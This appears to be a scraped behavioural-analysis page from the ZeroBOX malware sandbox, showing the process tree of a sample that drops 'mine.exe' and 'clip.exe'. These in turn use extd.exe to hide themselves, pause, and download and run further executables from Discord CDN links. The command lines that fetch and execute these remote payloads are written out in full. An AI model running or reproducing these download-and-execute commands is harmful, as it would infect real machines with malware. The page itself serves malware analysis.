| ZeroBOX

@sc4lly1337.exe "C:\Users\test22\AppData\Local\Temp\@sc4lly1337.exe"
2032
- mine.exe "C:\Users\test22\AppData\Local\Temp\mine.exe"
  2512
  - cmd.exe "C:\Windows\system32\cmd.exe" /c "C:\Users\test22\AppData\Local\Temp\AD71.tmp\AD82.tmp\AD92.bat C:\Users\test22\AppData\Local\Temp\mine.exe"
    2692
    - extd.exe C:\Users\test22\AppData\Local\Temp\AD71.tmp\AD82.tmp\extd.exe "/hideself" "" "" "" "" "" "" "" ""
      2876
    - extd.exe C:\Users\test22\AppData\Local\Temp\AD71.tmp\AD82.tmp\extd.exe "/random" "90000009" "" "" "" "" "" "" ""
      2984
    - extd.exe C:\Users\test22\AppData\Local\Temp\AD71.tmp\AD82.tmp\extd.exe "/download" "https://cdn.discordapp.com/attachments/868908533897363470/870626065511501945/welldone.exe" "welldone.exe" "" "" "" "" "" ""
      3064
    - welldone.exe welldone.exe
      2360
    - extd.exe C:\Users\test22\AppData\Local\Temp\AD71.tmp\AD82.tmp\extd.exe "/sleep" "900000" "" "" "" "" "" "" ""
      1164
- clip.exe "C:\Users\test22\AppData\Local\Temp\clip.exe"
  2576
  - cmd.exe "C:\Windows\system32\cmd.exe" /c "C:\Users\test22\AppData\Local\Temp\AF46.tmp\AF56.tmp\AF57.bat C:\Users\test22\AppData\Local\Temp\clip.exe"
    2712
    - extd.exe C:\Users\test22\AppData\Local\Temp\AF46.tmp\AF56.tmp\extd.exe "/hideself" "" "" "" "" "" "" "" ""
      2908
    - extd.exe C:\Users\test22\AppData\Local\Temp\AF46.tmp\AF56.tmp\extd.exe "/random" "90000009" "" "" "" "" "" "" ""
      2964
    - extd.exe C:\Users\test22\AppData\Local\Temp\AF46.tmp\AF56.tmp\extd.exe "/download" "https://cdn.discordapp.com/attachments/868908533897363470/870626071547097128/clo.exe" "clo.exe" "" "" "" "" "" ""
      1716
    - clo.exe clo.exe
      300
      - clo.exe C:\Users\test22\AppData\Local\Temp\2741\clo.exe
        2472
    - extd.exe C:\Users\test22\AppData\Local\Temp\AF46.tmp\AF56.tmp\extd.exe "/sleep" "900000" "" "" "" "" "" "" ""
      2484

No process loaded Click on a process in the tree above to load its data.

PID
Parent PID

default registry file network process services synchronisation iexplore office pdf

Behavioral Analysis

Process tree

Process contents